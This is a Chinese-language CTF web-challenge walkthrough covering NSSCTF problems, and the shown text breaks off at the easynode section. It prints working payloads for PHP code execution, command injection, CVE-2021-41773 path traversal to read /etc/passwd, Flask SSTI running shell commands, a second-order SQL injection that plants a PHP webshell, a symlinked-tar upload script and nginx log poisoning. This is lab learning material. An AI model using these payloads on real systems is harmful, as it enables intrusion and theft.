Web专项训练(二)-- nssctf严选题

题目 tag
[SWPUCTF 2021 新生赛]hardrce rce,取反
[HNCTF 2022 WEEK2]Canyource 无回显rce
[LitCTF 2023]Ping 命令执行,禁用javascript
[GFCTF 2021]Baby_Web CVE-2021-41773
[HZNUCTF 2023 preliminary]flask ssti
[XDCTF 2015]filemanager 二次注入,文件上传
[NSSRound#6 Team]check(V1 &V2) 软连接,flask
[NSSRound#6 Team]check(Revenge) CVE-2007-4559
[HNCTF 2022 WEEK2]easy_include
nginx,UA注入
[GKCTF 2020]ez三剑客-easynode 沙箱逃逸,node.js
[NCTF 2018]全球最大交友网站 .git泄露
[SWPUCTF 2022 新生赛]Ez_upload .htaccess,文件上传,MIME绕过
[GHCTF 2025]UPUPUP .htaccess,文件上传,文件头绕过
[GKCTF 2021]easycms 目录扫描,弱口令,文件下载
[suctf 2019]checkin .use.ini,文件上传,MIME绕过
[NSSCTF 2nd]MyBox ssrf,目录穿越 ,PHP伪协议,Apache
[SWPUCTF 2021 新生赛]sql
sql注入,空格绕过,关键字绕过
[FSCTF 2023]Hello,you C&C,关键词绕过
[HZNUCTF 2023 final]ezgo suid提权,权限提升
[AFCTF 2021]BABY_CSP
反射型xss,csp
[CISCN 2019华东南]Web11
SSTI,Smarty,RCE
[suctf 2019]EasySQL 堆叠注入,SQL注入,关键字绕过
[NISACTF 2022]easyssrf PHP伪协议,SSRF
[CISCN 2023 西南]seaclouds Java反序列化
[鹏城杯 2022]简单包含 PHP伪协议,文件包含
[极客大挑战 2020]rceme rce,PIN码,vim泄露
[HNCTF 2022 WEEK2]ez_ssrf ssrf,中间件
[NCTF 2018]小绿草之最强大脑 整数溢出,延时函数

[SWPUCTF 2021 新生赛]hardrce

源码过滤了$blacklist中的所有符号和字母大小写([a-zA-Z]),但没有过滤(,|,~等符号。

 <?php
header("Content-Type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['wllm']))
{
    $wllm = $_GET['wllm'];
    $blacklist = [' ','\t','\r','\n','\+','\[','\^','\]','\"','\-','\$','\*','\?','\<','\>','\=','\`',];
    foreach ($blacklist as $blackitem)
    {
        if (preg_match('/' . $blackitem . '/m', $wllm)) {
        die("LTLT说不能用这些奇奇怪怪的符号哦!");
    }}
if(preg_match('/[a-zA-Z]/is',$wllm))
{
    die("Ra's Al Ghul说不能用字母哦!");
}
echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";
eval($wllm);
}
else
{
    echo "蔡总说:注意审题!!!";
}
?> 

因而,我们可以利用两次取反(~)后依然是自己本身的特点进行解答。
但是字符串一次取反后得到是乱码,所以需要再利用一次url编码。

<?php
echo urlencode(~'system');
echo "\n";
echo urlencode(~'ls /');
//echo “\n";
//echo urlencode(~'cat /flllllaaaaaaggggggg');
/*
%8C%86%8C%8B%9A%92
%93%8C%DF%D0
%9C%9E%8B%DF%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98
*/
?>

然后,再取反一次。

image

接着,对cat /flllllaaaaaaggggggg(或者cat /fl*)进行同样的操作,传入对应的url(因为代理问题中途断线了一次,因而url有所不同),得到了flag。
image

[HNCTF 2022 WEEK2]Canyource

之前写过这种题目,所以不详细叙述,只写关键点。

  • php中get_defined_vars() 函数能够返回由所有已定义变量所组成的数组。 比如 /?code=1&byc=2 , get_defined_vars()返回的数组是 [1, 2]
  • php中current() 函数返回数组中的当前元素的值。
  • end()函数将内部指针指向数组中的最后一个元素。
  • eval,print_r,var_dump将其打印出来。这里用的是eval。
    对于[^\W]+\((?R)?\)这个正则表达式的意思是只允许函数而不允许函数中的参数。比如a()和a(b(c()))是支持的,而a('111')是不支持的。也就是说这是无回显的rce。

如此一来,对于end(current(get_defined_vars()));&byc=xxx,就能够执行&byc=xxx拼接的命令。而只需添加eval打印在页面,就堪称完美了。
构造payloadhttp://node5.anna.nssctf.cn:26109/?code=eval(end(current(get_defined_vars())));&byc=system('ls');后返回,

 <?php
highlight_file(__FILE__);
if(isset($_GET['code'])&&!preg_match('/url|show|high|na|info|dec|oct|pi|log|data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['code'])){
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
    eval($_GET['code']);}
else
    die('nonono');}
else
    echo('please input code');
?>  flag.php index.php 

继续构造payloadhttp://node5.anna.nssctf.cn:26109/?code=eval(end(current(get_defined_vars())));&byc=system('cat flag.php');,虽然页面只能够看到Are you kinding me?但是检查F12查看器,却能够看到flag。
image

接着对关键代码'/[^\W]+((?R)?)/'和
'/url|show|high|na|info|dec|oct|pi|log|data://|filter://|php://|phar:///i'
分析。

  • 过滤了一些敏感信息和php相关协议,如filter、phar。i: 这是正则表达式的标志,表示匹配时不区分大小写。
  • [^\W]+匹配任何单词字符(包括字母、数字和下划线)。+ 表示至少匹配一个或多个这样的字符。
  • ( 和 ):这两个部分分别匹配字符 ( 和 ),即函数调用使用的括号。
  • (?R)?:
    1. (?R) 是递归匹配。它意味着当正则表达式遇到括号时,会尝试再次匹配括号内的内容。因此,这个部分能够匹配嵌套的函数调用。
    2. ? 使得这个递归部分变为可选的,这样既可以匹配没有嵌套的函数调用,也能匹配有嵌套函数调用的情况。

第二种解法以及常见无回显rce的函数总结,参考 canyource

[LitCTF 2023]Ping

ping自己的ip地址成功(输入框只填127.0.0.1),但想要拼接其他命令失败。
image

禁掉javascript后(见下图),用命令127.0.0.1|ls查看到index.php和upload。
其中,index.php的内容。

//index.php
error_reporting(0);  
header("Content-Type: text/html; charset=utf-8");  
if(!isset($_POST['command'])) {  
die();  
}  
  
$command = $_POST['command'];  
  
$command = 'ping -c 6 ' . $command; // 拼接系统命令
echo '<pre>' . str_replace("\n", "<br />\n", shell_exec($command)) . '</pre>'; // 执行并输出结果
?>

实际上index.php和upload这两个文件/目录都无法访问出有用信息。

因而,考虑利用正则匹配。
输入框输入command=127.0.0.1;cat /* 或127.0.0.1;cat /* 得到敏感信息。
image

[GFCTF 2021]Baby_Web(CVE-2021-41773)

提示只有F12里的“源码藏在上层目录xxx.php.txt里面,但你怎么才能看到它呢?”
源码泄露无果,于是启动dirsearch。输入

sudo dirsearch -u http://node4.anna.nssctf.cn:28099

image

curl工具怎么也访问不了/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd。可能是url里面会自动将url编码%2e解析为( . ),从而访问/cgi-bin/../../../../etc/passwd。而curl无法解析,导致运行出错。
于是用burpsuite抓包。

访问扫到的敏感信息。

GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1

image

猜测xxx可能为index。

GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/var/www/index.php.txt HTTP/1.1

image

<h1>Welcome To GFCTF 12th!!</h1>
<?php
error_reporting(0);
define("main","main");
include "Class.php";
$temp = new Temp($_POST);
$temp->display($_GET['filename']);

?>
<!--源码藏在上层目录xxx.php.txt里面,但你怎么才能看到它呢?-->

实际上一步的include"Class.php"也是一个突破点。因为xxx可能被替换成任意的字符。这里只显示了两种。

GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/var/www/Class.php.txt HTTP/1.1

image

源码:

<?php
defined('main') or die("no!!");
Class Temp{
    private $date=['version'=>'1.0','img'=>'https://www.apache.org/img/asf-estd-1999-logo.jpg'];
    private $template;
    public function __construct($data){

        $this->date = array_merge($this->date,$data);
    }
    public function getTempName($template,$dir){
        if($dir === 'admin'){
            $this->template = str_replace('..','','./template/admin/'.$template);
            if(!is_file($this->template)){
                die("no!!");
            }
        }
        else{
            $this->template = './template/index.html';
        }
    }
    public function display($template,$space=''){

        extract($this->date);
        $this->getTempName($template,$space);
        include($this->template);
    }
    public function listdata($_params){
        $system = [
            'db' => '',
            'app' => '',
            'num' => '',
            'sum' => '',
            'form' => '',
            'page' => '',
            'site' => '',
            'flag' => '',
            'not_flag' => '',
            'show_flag' => '',
            'more' => '',
            'catid' => '',
            'field' => '',
            'order' => '',
            'space' => '',
            'table' => '',
            'table_site' => '',
            'total' => '',
            'join' => '',
            'on' => '',
            'action' => '',
            'return' => '',
            'sbpage' => '',
            'module' => '',
            'urlrule' => '',
            'pagesize' => '',
            'pagefile' => '',
        ];

        $param = $where = [];

        $_params = trim($_params);

        $params = explode(' ', $_params);
        if (in_array($params[0], ['list','function'])) {
            $params[0] = 'action='.$params[0];
        }
        foreach ($params as $t) {
            $var = substr($t, 0, strpos($t, '='));
            $val = substr($t, strpos($t, '=') + 1);
            if (!$var) {
                continue;
            }
            if (isset($system[$var])) { 
                $system[$var] = $val;
            } else {
                $param[$var] = $val; 
            }
        }
        // action
        switch ($system['action']) {

            case 'function':

                if (!isset($param['name'])) {
                    return  'hacker!!';
                } elseif (!function_exists($param['name'])) {
                    return 'hacker!!';
                }

                $force = $param['force'];
                if (!$force) {
                    $p = [];
                    foreach ($param as $var => $t) {
                        if (strpos($var, 'param') === 0) {
                            $n = intval(substr($var, 5));
                            $p[$n] = $t;
                        }
                    }
                    if ($p) {

                        $rt = call_user_func_array($param['name'], $p);
                    } else {
                        $rt = call_user_func($param['name']);
                    }
                    return $rt;
                }else{
                    return null;
                }
            case 'list':
                return json_encode($this->date);
        }
        return null;
    }
}

根据关键词str_replace、extract、include、explode、 substr、$system、call_user_func_array等函数或变量,判断相关语句有注入点。

分析图:

graph TD A[__construct] --> B[合并初始化数据] C[display] --> D[extract 变量] D --> E[getTempName] E --> F{是否为admin} F -->|是| G[过滤路径并验证] F -->|否| H[使用默认模板] G -->|无效路径| I[终止执行] G -->|有效路径| J[包含模板] K[listdata] --> L[解析参数] L --> M{action类型} M -->|function| N[验证函数存在性] N --> O[收集参数] O --> P[执行函数] M -->|list| Q[返回JSON数据] M -->|其他| R[返回null] style A fill:#9f9,stroke:#333 style C fill:#9f9,stroke:#333 style K fill:#9f9,stroke:#333 style I fill:#f99,stroke:#f00 style P fill:#f99,stroke:#f00

意思是display的getTempName必须返回有效路径,而listdata的action有执行函数和返回null两种选择。

根据Temp类的__construct函数,输入http://node4.anna.nssctf.cn:28099/template/admin/ 后,页面和后台返回
image

个人感觉这里的后台代码是有提示性作用的。

这里的代码审计部分,这篇文章的师傅已经写得很成熟了。因为payload的构造也相对复杂,建议移步该文章进行研究。Baby_Web(CVE-2021-41773) 从一道题入门PHP代码审计 (保姆级)_cve-2021-41773 ctf-CSDN博客

实际上,space=admin(display和getTempName共同作用)和action=function(lisdata的switch 语句)以及name = system(call_user_func_array)(或者其他适用于rce的php系统函数,如exec、passthru、phpinfo)很容易分析出来。
对于其他的参数,参考代码

                    if ($p) {
                        //call_user_func_array:调用回调函数,并把一个数组参数作为回调函数的参数
                        $rt = call_user_func_array($param['name'], $p);
                    } else {
                        //call_user_func:第一个参数是被调用的回调函数,其余参数是回调函数的参数。
                        $rt = call_user_func($param['name']);
                    }


if (in_array($params[0], ['list','function'])) {
    $params[0] = 'action='.$params[0];
}

然后结合include "Class.php";$temp->display($_GET['filename']),以及include($this->template)$this->template = './template/index.html',推测template被filename取代。

方法1

哈哈哈,第一次写题目靶场时间超时了。/(ㄒoㄒ)/~~ 菜就多练

?filename=index.html              //GET
space=admin&mod=xxx action=function name=exec param=tac${IFS}/f11111111aaaagggg>/var/www/html/1.txt

注意哪些是GET请求,哪些是POST请求,以及记得添加头部(Add Header)。
image

接着访问http://node4.anna.nssctf.cn:28183/1.txt ,得到NSSCTF{e0e7cfee-a4b7-44d6-84e2-3b1eaf010d01}

方法2

?filename=index.html              //GET
space=admin&mod=xxx action=function name=phpinfo

image

总结:第一次复现CVE,这个漏洞的代码审计部分有一些细节处理不是很到位,建议补齐相关知识后重刷。实际上,call_user_func_array这个函数的第一个参数传递系统函数,如phpinfo()。第二个参数传递系统函数需要的参数,如system('whoami')中的whoami。

[HZNUCTF 2023 preliminary]flask

ssti模板注入?建议移步SSTI 注入 - Hello CTF补充基础知识。
输入http://node7.anna.nssctf.cn:27594/?name=542 ,返回hello! 245。
输入http://node7.anna.nssctf.cn:27594/?name=}}%276%27*6{{ ,返回hello! 666666

  • a.__init__.__globals__: __globals__ 属性指向当前函数或方法的全局命名空间。通过它,你可以访问整个模块或函数的上下文,包括内置模块和方法。
  • ['__builtins__']:通过这个字典,可以动态访问 Python 内置的功能和模块。
  • .eval():这里,eval 被用来执行传入的字符串代码,即对 os.popen("ls").read() 进行求值。
  • __import__("os").popen("ls").read():动态导入os模块并执行系统命令
    等同于执行
import os
os.popen("ls").read()  # 执行系统命令并读取结果

因为需要字符串反转reverse,所以写脚本(手搓很麻烦的好不好),

strA = input()
strB = ''.join(reversed(strA))
print(strB)

ls查看,没有有效信息。

# {{a.__init__.__globals__['__builtins__'].eval('__import__("os").popen("ls").read()')}} 
#}})')(daer.)"sl"(nepop.)"so"(__tropmi__'(lave.]'__snitliub__'[__slabolg__.__tini__.a{{
#返回hello! app.py require.txt

ls /查看,发现flag.sh。

#{{a.__init__.__globals__['__builtins__'].eval('__import__("os").popen("ls /").read()')}} 
#}})')(daer.)"/ sl"(nepop.)"so"(__tropmi__'(lave.]'__snitliub__'[__slabolg__.__tini__.a{{
#返回hello! app bin boot dev etc flag.sh home lib lib64 media mnt opt proc root run sbin srv start.sh sys tmp usr var

cat /flag.sh,不幸的是返回flag_not_here

#{{a.__init__.__globals__['__builtins__'].eval('__import__("os").popen("cat /flag.sh").read()')}} 
#}})')(daer.)"hs.galf/ tac"(nepop.)"so"(__tropmi__'(lave.]'__snitliub__'[__slabolg__.__tini__.a{{
#返回hello! #!/bin/bash echo $DASFLAG > /flag export DASFLAG=flag_not_here DASFLAG=flag_not_here rm -f /flag.sh

最后转换思路,查看env环境变量。

#{{a.__init__.__globals__['__builtins__'].eval('__import__("os").popen("env").read()')}}          
#}})')(daer.)"vne"(nepop.)"so"(__tropmi__'(lave.]'__snitliub__'[__slabolg__.__tini__.a{{

image

总结:思路要开阔,勇于尝试的同时保持多一些思考。

[XDCTF 2015]filemanager

页面信息能够获取到的很少,因而dirsearch发力。
image

得到/www/tar.gz后,访问http://node4.anna.nssctf.cn:28919/www.tar.gz,自动下载。
image

xdctf.sql
image

commom.inc.php

  • 对传入的参数$value进行了addslashes()转义,放到了$req = array()数组里面。这个数组里可以执行多种请求$_GET, $_POST, $_COOKIE
<?php
/**
 * Created by PhpStorm.
 * User: phithon
 * Date: 15/10/14
 * Time: 下午7:58
 */

$DATABASE = array(

	"host" => "127.0.0.1",
	"username" => "root",
	"password" => "ayshbdfuybwayfgby",
	"dbname" => "xdctf",
);

$db = new mysqli($DATABASE['host'], $DATABASE['username'], $DATABASE['password'], $DATABASE['dbname']);
$req = array();

foreach (array($_GET, $_POST, $_COOKIE) as $global_var) {
	foreach ($global_var as $key => $value) {
		is_string($value) && $req[$key] = addslashes($value);
	}
}

define("UPLOAD_DIR", "upload/");

function redirect($location) {
	header("Location: {$location}");
	exit;
}


delete.php

  • 与commom.inc.php有关,依据$req = array()和file_exists来对一个文件被多次上传的回显做处理。
    image

index.php

  • 页面的前端代码。
<?php
/**
 * Created by PhpStorm.
 * User: phithon
 * Date: 15/10/14
 * Time: 下午7:46
 */

?>

<!DOCTYPE html>
<html>
<head>
    <title>file manage</title>
    <base href="./">
    <meta charset="utf-8" />
</head>
<body>
    <h3>Control</h3>
    <ul style="list-style: none;">
        <li><a href="./delete.php">Delete file</a></li>
        <li><a href="./rename.php">Rename file</a></li>
    </ul>

    <h3>Content</h3>
    <form action="./upload.php" method="post" enctype="multipart/form-data">
        <input type="file" name="upfile">
        <input type="submit" value="upload file">
    </form>
</body>
</html>

rename.php

  1. 执行数据库查询
$db->query("select * from `file` where `filename`='{$req['oldname']}'")

,查找文件名为 'oldname' 的文件。
2. 执行成功后,继续执行

$db->query("update `file` set `filename`='{$req['newname']}', `oldname`='{$result['filename']}' where `fid`={$result['fid']}")

如果$oldname 上传成功 , 则 $oldname被rename为 $newname。

<?php
/**
 * Created by PhpStorm.
 * User: phithon
 * Date: 15/10/14
 * Time: 下午9:39
 */

require_once "common.inc.php";

if (isset($req['oldname']) && isset($req['newname'])) {
	$result = $db->query("select * from `file` where `filename`='{$req['oldname']}'");
	if ($result->num_rows > 0) {
		$result = $result->fetch_assoc();
	} else {
		exit("old file doesn't exists!");
	}

	if ($result) {

		$req['newname'] = basename($req['newname']);
		$re = $db->query("update `file` set `filename`='{$req['newname']}', `oldname`='{$result['filename']}' where `fid`={$result['fid']}");
		if (!$re) {
			print_r($db->error);
			exit;
		}
		$oldname = UPLOAD_DIR . $result["filename"] . $result["extension"];
		$newname = UPLOAD_DIR . $req["newname"] . $result["extension"];
		if (file_exists($oldname)) {
			rename($oldname, $newname);
		}
		$url = "/" . $newname;
		echo "Your file is rename, url:
                <a href=\"{$url}\" target='_blank'>{$url}</a><br/>
                <a href=\"/\">go back</a>";
	}
}
?>
<!DOCTYPE html>
<html>
<head>
    <title>file manage</title>
    <base href="/">
    <meta charset="utf-8" />
</head>
<h3>Rename</h3>
<body>
<form method="post">
    <p>
        <span>old filename(exclude extension):</span>
        <input type="text" name="oldname">
    </p>
    <p>
        <span>new filename(exclude extension):</span>
        <input type="text" name="newname">
    </p>
    <p>
        <input type="submit" value="rename">
    </p>
</form>
</body>
</html>


upload.php

  • 白名单限制了后缀名”gif", "jpg", "png", "zip", "txt"。
  • 俩个query, db->query
$sql = "select * from file where filename='{$path_parts['filename']}' and `extension`='{$path_parts['extension']}'";

执行成功后,返回"file is exists"

  • db- > query
$sql = "insert into `file` ( `filename`, `view`, `extension`) values( '{$path_parts['filename']}', 0, '{$path_parts['extension']}')";

上传成功返回$url = "/" . UPLOAD_DIR . $name;

<?php
/**
 * Created by PhpStorm.
 * User: phithon
 * Date: 15/10/14
 * Time: 下午8:45
 */

require_once "common.inc.php";

if ($_FILES) {
	$file = $_FILES["upfile"];
	if ($file["error"] == UPLOAD_ERR_OK) {
		$name = basename($file["name"]);
		$path_parts = pathinfo($name);

		if (!in_array($path_parts["extension"], array("gif", "jpg", "png", "zip", "txt"))) {
			exit("error extension");
		}
		$path_parts["extension"] = "." . $path_parts["extension"];

		$name = $path_parts["filename"] . $path_parts["extension"];

		// $path_parts["filename"] = $db->quote($path_parts["filename"]);
		// Fix
		$path_parts['filename'] = addslashes($path_parts['filename']);

		$sql = "select * from `file` where `filename`='{$path_parts['filename']}' and `extension`='{$path_parts['extension']}'";

		$fetch = $db->query($sql);

		if ($fetch->num_rows > 0) {
			exit("file is exists");
		}

		if (move_uploaded_file($file["tmp_name"], UPLOAD_DIR . $name)) {

			$sql = "insert into `file` ( `filename`, `view`, `extension`) values( '{$path_parts['filename']}', 0, '{$path_parts['extension']}')";
			$re = $db->query($sql);
			if (!$re) {
				print_r($db->error);
				exit;
			}
			$url = "/" . UPLOAD_DIR . $name;
			echo "Your file is upload, url:
                <a href=\"{$url}\" target='_blank'>{$url}</a><br/>
                <a href=\"/\">go back</a>";
		} else {
			exit("upload error");
		}

	} else {
		print_r(error_get_last());
		exit;
	}
}

观察页面结果分析,最主要看的是rename.php和upload.php。大胆尝试构造SQL注入语句,结合两个文件中的查询语句分析执行效果。由此看来,这已经是国内一道相当不错的题目了。

上传一个空文件,文件名为 ',extension='.txt
image

重命名一下,这里1.txt不一定要是txt文件,是”gif", "jpg", "png", "zip", "txt"中的一种即可。
image

分析下这个rename过程:此时rename.php经过第一个sql查询后,$result['filename']=',extension='
此时,rename的查询语句相当于
"update file set filename='{$req['newname']}', `oldname`='',`extension`='' where `fid`={$result['fid']}"
这个时候相当于filename=1.txt 的在数据库中的extension是空的。

点击rename按钮后,页面返回的url与rename.php里的$url = "/" . $newname;对应。说明命名1.txt的txt文件已经上传成功。
image

然后,写入txt后缀的一句话木马,

<?php
system($_GET['cmd']);
=?>

image

接着再重命名一次。
image

此时经过rename.php的第一个sql查询后,$result['filename']=1.txt 它的extension刚好为空 经过以下语句修改:

$oldname = UPLOAD_DIR . $result["filename"] . $result["extension"];
$newname = UPLOAD_DIR . $req["newname"] . $result["extension"];
if (file_exists($oldname)) {
rename($oldname, $newname);
}

相当于upload/1.txt.空 改成了 upload/1.php.空 (实际上就是upload/1.php)

我们制作的php木马上传成功。
image

然后,打开hackbar。

传入http://node4.anna.nssctf.cn:28919/upload/1.php?cmd=ls /后,页面返回
bin dev etc flag_emmmmmmmmm home lib media mnt proc root run sbin srv sys tmp usr var。

传入http://node4.anna.nssctf.cn:28919/upload/1.php?cmd=cat /fl*后,得到flag
NSSCTF{7a4a89bb-636e-43c7-99fe-9f694aaa3e03}。

这道题审计代码多花点时间是没问题的,建议参考攻防世界-web-filemanager(源码泄漏、二次注入) - zhengna - 博客园
以及2015 filemanager XDCTF - 知乎

总结:看似是文件上传,其实是二次注入,xctf评分7分。因而,他的难度对新手来说是相当大的。从隐藏的多个文件,以及改动的多个rename和多次上传的构造可以体会出来。不过,只要基础扎实,理清sql二次注入的逻辑后并非遥不可及的地步。ps:注意多理解与报错注入、盲注、二次注入相关的题目。

[NSSRound 6 Team]check(V1 &V2)

访问后得到的源码是乱码的,可以利用F12里面的查看器调整。

# -*- coding: utf-8 -*-
from flask import Flask, request
import tarfile
import os

app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['tar'])


def allowed_file(filename):
    return '.' in filename and \
           filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS


@app.route('/')
def index():
    with open(__file__, 'r') as f:
        return f.read()


@app.route('/upload', methods=['POST'])
def upload_file():
    if 'file' not in request.files:
        return '?'
    file = request.files['file']
    if file.filename == '':
        return '?'
    print(file.filename)
    if file and allowed_file(file.filename) and '..' not in file.filename and '/' not in file.filename:
        file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], file.filename)
        if (os.path.exists(file_save_path)):
            return 'This file already exists'
        file.save(file_save_path)
    else:
        return 'This file is not a tarfile'
    try:
        tar = tarfile.open(file_save_path, "r")
        tar.extractall(app.config['UPLOAD_FOLDER'])
    except Exception as e:
        return str(e)
    os.remove(file_save_path)
    return 'success'


@app.route('/download', methods=['POST'])
def download_file():
    filename = request.form.get('filename')
    if filename is None or filename == '':
        return '?'

    filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)

    if '..' in filename or '/' in filename:
        return '?'

    if not os.path.exists(filepath) or not os.path.isfile(filepath):
        return '?'

    with open(filepath, 'r') as f:
        return f.read()


@app.route('/clean', methods=['POST'])
def clean_file():
    os.system('/tmp/clean.sh')
    return 'success'


if __name__ == '__main__':
    app.run(host='0.0.0.0', debug=True, port=80)

大致的逻辑如下。

  1. 对文件进行了过滤allowed_file。上传成功upload_file后,保存路径为file_save_path。然后软连接、tar 、remove,返回success。
  2. 接着download_file,打开的路径和参数为 filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)
  3. 然后调用系统命令system删除clean_file,返回success。
  4. 主函数内调用以上3步的函数。

因而,软链接的tar文件建立后(kali),上传文件和下载文件是必不可少的。

# 创建软链接指向flag文件
ln -s /flag flag
echo -e "\n软链接已创建。"

# 创建包含软链接的tar文件
tar -cvf flag.tar flag
echo -e "\ntar文件已创建:flag.tar"

# 上传tar文件
curl -X POST -F "file=@flag.tar" http://node5.anna.nssctf.cn:28432/upload
echo -e "\ntar文件已上传。"

# 保持会话状态并下载文件
COOKIE_JAR=$(mktemp)
echo -e "\n临时cookie文件已创建:$COOKIE_JAR"
curl -X POST -c "$COOKIE_JAR" -F "file=@flag.tar" http://node5.anna.nssctf.cn:28432/upload
echo -e "\ntar文件已重新上传并保存cookie。"

curl -X POST -b "$COOKIE_JAR" -d "filename=flag" http://node5.anna.nssctf.cn:28432/download
echo -e "\n文件已下载:flag"

rm "$COOKIE_JAR"
echo -e "\ncookie文件已删除。"

运行结果:

>vim v1.sh 
>cat v1.sh(见上面的代码) 
>bash v1.sh
ln: 无法创建符号链接 'flag': 文件已存在

软链接已创建。
flag

tar文件已创建:flag.tar
success
tar文件已上传。

临时cookie文件已创建:/tmp/tmp.ilavuQxXsJ
success
tar文件已重新上传并保存cookie。
NSSCTF{f819d927-4838-4119-9f43-4b7851cfeeae}

文件已下载:flag

cookie文件已删除。

Python可以参考nssround#6 team check(revenge)-CSDN博客

总结:本题难度不难,学会写上传文件和下载文件的代码部分,大可迎刃而解。

[NSSRound 6 Team]check(Revenge)

# -*- coding: utf-8 -*-
from flask import Flask,request
import tarfile
import os

app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['tar'])

def allowed_file(filename):
    return '.' in filename and \
        filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

@app.route('/')
def index():
    with open(__file__, 'r') as f:
        return f.read()

@app.route('/upload', methods=['POST'])
def upload_file():
    if 'file' not in request.files:
        return '?'
    file = request.files['file']
    if file.filename == '':
        return '?'

    if file and allowed_file(file.filename) and '..' not in file.filename and '/' not in file.filename:
        file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], file.filename)
        if(os.path.exists(file_save_path)):
            return 'This file already exists'
        file.save(file_save_path)
    else:
        return 'This file is not a tarfile'
    try:
        tar = tarfile.open(file_save_path, "r")
        tar.extractall(app.config['UPLOAD_FOLDER'])
    except Exception as e:
        return str(e)
    os.remove(file_save_path)
    return 'success'

@app.route('/download', methods=['POST'])
def download_file():
    filename = request.form.get('filename')
    if filename is None or filename == '':
        return '?'
    
    filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)
    
    if '..' in filename or '/' in filename:
        return '?'
    
    if not os.path.exists(filepath) or not os.path.isfile(filepath):
        return '?'
    
    if os.path.islink(filepath):
        return '?'
    
    if oct(os.stat(filepath).st_mode)[-3:] != '444':
        return '?'
    
    with open(filepath, 'r') as f:
        return f.read()
    
@app.route('/clean', methods=['POST'])
def clean_file():
    os.system('su ctf -c /tmp/clean.sh')
    return 'success'

# print(os.environ)

if __name__ == '__main__':
    app.run(host='0.0.0.0', debug=True, port=80)

好像是download_file()函数内增加了俩个判断。

if os.path.islink(filepath):
        return '?'
    
    if oct(os.stat(filepath).st_mode)[-3:] != '444':
        return '?'

以及clean_flie()函数的系统命令改成了

  os.system('su ctf -c /tmp/clean.sh')

软链接被禁用,联想到CVE-2007-4559的extractall函数有文件覆盖的漏洞。用dirsearch扫描到存在console目录,这是一个可以实现debug的目录。拼接在原始url后,的确发现需要输入正确的PIN码。

image

所以关键就是要计算正确的PIN码,而这方面需要收集很多信息。
最主要的machine-id包括两种采集方式,

  1. /etc/machine-id就找/proc/self/cgroup进行拼接。
  2. 没有/etc/machine-id,就用/proc/sys/kernel/random/boot_id/proc/self/cgroup进行拼接。
    然后用cat /sys/class/net/eth0/address获取到mac地址的十进制。计算root的PIN值采用cat /etc/passwd这种方式。参考flask计算PIN码 - ddd\flag - 博客园

虽然思路比较清晰,但是我的/proc/self/cgroup这个信息怎么也采集不对,所以pin码脚本采集的PIN码出现错误,从而导致无法进入console,后续的关键步骤因此也难以完成。个人猜测,可能跟 os.system('su ctf -c /tmp/clean.sh')中的ctf用户有关吧。

PIN的脚本参考:

  1. check(Revenge)_cve-2007-4559 | CSDN博客
  2. NSSCTF Round#6-web

总结:PIN码这个考点确实没遇到过,本来以为nssround的题目会简单点。但据夸克以及deepseek坦白,实际它的Web题目Revenge部分基本接近强网杯、网鼎杯、虎符杯的中等偏上甚至是难题的Web题。而且解题链条通常比这些大赛会更长。因而,这些题目基本也是中高端进阶的Web选手才有机率完成。所以,期待二刷或者有大佬指点!

[HNCTF 2022 WEEK2]easy_include

 <?php
//WEB手要懂得搜索

if(isset($_GET['file'])){
    $file = $_GET['file'];
    if(preg_match("/php|flag|data|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=/i", $file)){
        die("error");
    }
    include($file);
}else{
    highlight_file(__FILE__);
}

过滤了data协议、php、flag、~、!等符号。

F12查看响应头,得出是nginx服务器。

Snipaste_2025-07-30_09-43-51
]
于是,查看日志文件。构造payload: http://node5.anna.nssctf.cn:25300/?file=/var/log/nginx/access.log根据返回的浏览器等信息,判断是UA(User-Agent)注入。

勾选UA注入后,构造payload:http://node5.anna.nssctf.cn:25300/?file=/var/log/nginx/access.log&cmd=ls /
Snipaste_2025-07-30_10-00-28

返回结果的最后一部分看到:

bin dev etc ffflllaaaggg home lib media mnt opt proc root run sbin srv sys tmp usr var " 113.223.41.102 - - [30/Jul/2025:01:52:33 +0000] "GET /favicon.ico HTTP/1.1" 200 1534 "http://node5.anna.nssctf.cn:25300/?file=/var/log/nginx/access.log;cmd=ls%20/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0"

同样,勾选UA注入后,构造payload:http://node5.anna.nssctf.cn:25300/?file=/var/log/nginx/access.log&cmd=cat /f*最后一行会返回结果:

flag=NSSCTF{d0b619ee-34d8-4742-8d27-d08785aba103} " 113.223.41.102 - - [30/Jul/2025:02:01:41 +0000] "GET /favicon.ico HTTP/1.1" 200 1534 "http://node5.anna.nssctf.cn:25300/?file=/var/log/nginx/access.log&cmd=cat%20/f*" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0"

总结:平时多注意积累细节,比如ua的内容格式。

[GKCTF 2020]ez三剑客-easynode

打开页面是一个计算器界面。
输入1+1 ,2*4后,都会返回60000=Timeout!
Snipaste_2025-07-30_10-18-08

返回的结果可能是由app.post中的res.send(String(response))和app.use中的res.send('Timeout!');组成的。

